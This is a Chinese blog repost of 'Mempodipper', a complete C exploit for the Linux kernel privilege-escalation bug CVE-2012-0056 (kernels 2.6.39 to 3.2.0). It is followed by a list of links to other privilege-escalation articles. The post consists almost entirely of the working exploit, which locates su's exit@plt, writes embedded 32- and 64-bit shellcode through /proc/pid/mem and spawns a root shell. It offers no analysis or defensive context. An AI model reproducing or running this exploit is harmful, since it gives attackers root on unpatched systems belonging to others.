Linux 2.6.39 到 3.2.0 爆提权漏洞

转载 2012年03月30日 10:34:58
/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	int n;
	char cms[CMSG_SPACE(sizeof(int))];

	buf[0] = 0;
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = CMSG_LEN(sizeof(int));

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

	if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
		return -1;
	close(sock);
	return 0;
}

int recv_fd(int sock)
{
	int n;
	int fd;
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	char cms[CMSG_SPACE(sizeof(int))];
	
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = sizeof cms;

	if ((n = recvmsg(sock, &msg, 0)) < 0)
		return -1;
	if (n == 0)
		return -1;
	cmsg = CMSG_FIRSTHDR(&msg);
	memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
	close(sock);
	return fd;
}

unsigned long ptrace_address()
{
	int fd[2];
	printf("[+] Creating ptrace pipe.\n");
	pipe(fd);
	fcntl(fd[0], F_SETFL, O_NONBLOCK);

	printf("[+] Forking ptrace child.\n");
	int child = fork();
	if (child) {
		close(fd[1]);
		char buf;
		printf("[+] Waiting for ptraced child to give output on syscalls.\n");
		for (;;) {
			wait(NULL);
			if (read(fd[0], &buf, 1) > 0)
				break;
			ptrace(PTRACE_SYSCALL, child, NULL, NULL);
		}
		
		printf("[+] Error message written. Single stepping to find address.\n");
		struct user_regs_struct regs;
		for (;;) {
			ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
			wait(NULL);
			ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
			if (instruction_pointer < upper_bound) {
				unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
				if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
					return instruction_pointer;
			}
		}
	} else {
		printf("[+] Ptrace_traceme'ing process.\n");
		if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
			perror("[-] ptrace");
			return 0;
		}
		close(fd[0]);
		dup2(fd[1], 2);
		execl("/bin/su", "su", "not-a-valid-user", NULL);
	}
	return 0;
}

unsigned long objdump_address()
{
	FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
	if (!command) {
		perror("[-] popen");
		return 0;
	}
	char result[32];
	fgets(result, 32, command);
	pclose(command);
	return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
	printf("[+] Ptracing su to find next instruction without reading binary.\n");
	unsigned long address = ptrace_address();
	if (!address) {
		printf("[-] Ptrace failed.\n");
		printf("[+] Reading su binary with objdump to find exit@plt.\n");
		address = objdump_address();
		if (address == ULONG_MAX || !address) {
			printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
			printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
			exit(-1);
		}
	}
	printf("[+] Resolved call address to 0x%lx.\n", address);
	return address;
}

int su_padding()
{
	printf("[+] Calculating su padding.\n");
	FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
	if (!command) {
		perror("[-] popen");
		exit(1);
	}
	char result[256];
	fgets(result, 256, command);
	pclose(command);
	return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
	char parent_mem[256];
	sprintf(parent_mem, "/proc/%d/mem", getppid());
	printf("[+] Opening parent mem %s in child.\n", parent_mem);
	int fd = open(parent_mem, O_RDWR);
	if (fd < 0) {
		perror("[-] open");
		return 1;
	}
	printf("[+] Sending fd %d to parent.\n", fd);
	send_fd(sock, fd);
	return 0;
}

int parent(unsigned long address)
{
	int sockets[2];
	printf("[+] Opening socketpair.\n");
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
		perror("[-] socketpair");
		return 1;
	}
	if (fork()) {
		printf("[+] Waiting for transferred fd in parent.\n");
		int fd = recv_fd(sockets[1]);
		printf("[+] Received fd at %d.\n", fd);
		if (fd < 0) {
			perror("[-] recv_fd");
			return 1;
		}
		printf("[+] Assigning fd %d to stderr.\n", fd);
		dup2(2, 15);
		dup2(fd, 2);

		unsigned long offset = address - su_padding();
		printf("[+] Seeking to offset 0x%lx.\n", offset);
		lseek64(fd, offset, SEEK_SET);
		
#if defined(__i386__)
		// See shellcode-32.s in this package for the source.
		char shellcode[] =
			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
			"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
			"\x80";
#elif defined(__x86_64__)
		// See shellcode-64.s in this package for the source.
		char shellcode[] =
			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
			"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
			"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
			"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
			"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
		printf("[+] Executing su with shellcode.\n");
		execl("/bin/su", "su", shellcode, NULL);
	} else {
		char sock[32];
		sprintf(sock, "%d", sockets[0]);
		printf("[+] Executing child from child fork.\n");
		execl("/proc/self/exe", prog_name, "-c", sock, NULL);
	}
	return 0;
}

int main(int argc, char **argv)
{
	prog_name = argv[0];
	
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
		return child(atoi(argv[2]));
	
	printf("===============================\n");
	printf("=          Mempodipper        =\n");
	printf("=           by zx2c4          =\n");
	printf("=         Jan 21, 2012        =\n");
	printf("===============================\n\n");
	
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
		return parent(strtoul(argv[2], NULL, 16));
	else
		return parent(find_address());
	
}

Windows系统漏洞提权

假设已经在目标服务器上面上传了webshell 查看目标服务器的相关信息: 用户: 网络、端口: 组件: 接着执行cmd命令: ...
  • fuckcat_2333
  • fuckcat_2333
  • 2016年08月09日 17:43
  • 1061

从0到TrustZone(第二篇): QSEE提权漏洞及利用(CVE-2015-6639)

转载:http://www.freebuf.com/vuls/103893.html 在本文中,我们讨论一下如何发现并利用一个漏洞,获取高通的安全可执行环境(QSEE)的代码执行权限...
  • ab751513040
  • ab751513040
  • 2016年12月21日 23:58
  • 653

提权

用http://www.microsoft.com/china/technet/sysinternals/utilities/pstools.mspx的PsExec提升explorer权限,或提升cm...
  • joosonmao
  • joosonmao
  • 2014年04月15日 16:12
  • 1343

【漏洞公告】CVE-2017-1000367:Sudo本地提权漏洞

原文链接 2017年5月30日,国外安全研究人员发现Linux环节下,可以通过sudo实现本地提权漏洞,漏洞编号为CVE-2017-1000367,该漏洞几乎影响了所有Linux系统。  具体详情...
  • bystarlight
  • bystarlight
  • 2017年06月02日 14:18
  • 2837

安全漏洞--linux 最新内核通用提权漏洞利用示例 (脏牛Dirty COW)

0x01 简介 Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可...
  • bjtbjt
  • bjtbjt
  • 2016年10月21日 18:24
  • 11659

Android Superuser 提权漏洞分析

近日,国外安全研究人员揭露多款Android平台下的授权应用管理软件存在3个安全漏洞,利用漏洞可进行root提权,详见链接:http://forum.xda-developers.com/showth...
  • L173864930
  • L173864930
  • 2013年12月08日 00:00
  • 3749

WEB提权

本文转自《剑眉大侠提权笔记》,个人觉得思路想法很好,就转载了,其中蓝色字体为本人笔记 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写...
  • calmegm
  • calmegm
  • 2015年10月25日 12:29
  • 1636

linux内核通用提权漏洞expliot 脏牛Dirty COW

[-] 0x01 漏洞简介0x02 漏洞危害0x03 影响范围0x04 漏洞测试0x05 测试代码0x06 测试结果0x07 修复方案 0x01 漏洞简介 Linux内核在处理内存写时...
  • SysProgram
  • SysProgram
  • 2016年11月04日 13:17
  • 4488

linux 本地提权exp网址集合

最近在提一个debian 64位的服务器,内核版本比较特殊,一直没提下来。其它方法又不太会,于是google和问兄弟们了一些exp的网址,这里做个记录吧,方便以后查阅。 http://www.exp...
  • god_7z1
  • god_7z1
  • 2013年06月24日 00:20
  • 1608

关于Android的root提权漏洞

以下两个转自于知乎少仲哥 和flanker_hqd的回答:1.CVE-2009-2692(Wunderbar/asroot)sock_sendpage()的空指针解引用.因为sock_sendpage...
  • tangsilian
  • tangsilian
  • 2017年09月09日 16:34
  • 868
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Linux 2.6.39 到 3.2.0 爆提权漏洞
举报原因:
原因补充:

(最多只允许输入30个字)